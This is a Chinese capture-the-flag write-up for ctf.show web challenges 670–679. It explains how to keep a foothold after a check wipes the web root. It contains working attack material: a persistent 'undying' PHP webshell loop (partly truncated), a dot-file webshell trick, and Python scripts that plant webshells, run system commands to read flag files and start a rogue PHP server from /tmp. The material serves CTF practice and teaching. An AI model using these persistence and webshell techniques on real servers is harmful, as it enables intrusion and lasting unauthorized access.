- web670-web676
- web677、web678
- web679
题目在进行check后,会删掉网站根目录下的所有文件。 方法一 预测是使用的如下命令
echo 'flag{xxxx}' > /flag_xx.txt
rm -rf *
rm -rf *
其实有个小缺陷,无法删除点号开头的文件,所以可以利用给的木马生成一个.shell.php的木马,check后还会保留。
方法二 使用反弹shell 不过题目是不出网的,所以这种方法暂时无法考虑。
方法三 可以使用不死马将木马写入内存。
';
while (1) {
file_put_contents($file, $code);
usleep(5000);
}
?>
访问该不死马后,触发check,接着蚁剑连接shell.php即可拿到flag。 一键利用脚本
import requests
url="http://6143fdfc-94e3-4698-824f-f5da79a33081.challenge.ctf.show/"
data1={'cmd':"file_put_contents('a.php',\"';while (1) {file_put_contents(\\$file, \\$code);usleep(5000);}?>\");"}
r=requests.post(url+'?action=cmd',data=data1)
try:
requests.get(url+'a.php',timeout=(1,1))
except:
requests.get(url+'?action=check')
r=requests.post(url+'shell.php',data={'1':'system("cat /f*");'})
print(r.text)
web677、web678
和前面有点不同,没有写入权限(除了/tmp目录) 猜测check是先生成flag接着删掉了所有/var/www/html下的文件。 所以我们可以通过while循环持续的打开flag,当check时,页面上就会出现flag。 payload cmd=system('while true;do cat /tmp/f*;done');
check后会关闭nginx php-fpm等服务,不过我们可以利用php命令直接开启一个服务 php -S 0.0.0.0:80
,哪个目录下运行该命令,哪个目录就被当作根目录。 有点类似于python开启web服务 python -m SimpleHTTPServer 80
大致流程如下: 1、/tmp目录可写,在该目录下生成木马文件 cmd=system('cd /tmp;echo "" > index.php');
2、开启web服务 cmd=system('cd /tmp;php -S 0.0.0.0:80');
3、触发check 4、利用木马 但在实际使用中会发现,手动开启的web服务check后也会被停掉。 所以需要保证check后再开启web服务,也就是加个延时。
import requests
url="http://b370b8d4-cdca-40dd-a3eb-6d6d4485965a.challenge.ctf.show/"
data1={'cmd':"system('cd /tmp;echo \"\" > index.php');"}
r=requests.post(url+'?action=cmd',data=data1)
data2={'cmd':"system('sleep 3;cd /tmp;php -S 0.0.0.0:80');"}
try:
requests.post(url+'?action=cmd',data=data2,timeout=(1,1))
except:
requests.get(url+'?action=check')
while True:
r=requests.post(url,data={'1':'system("cat /f*");'})
if "ctfshow{" in r.text:
print(r.text)
break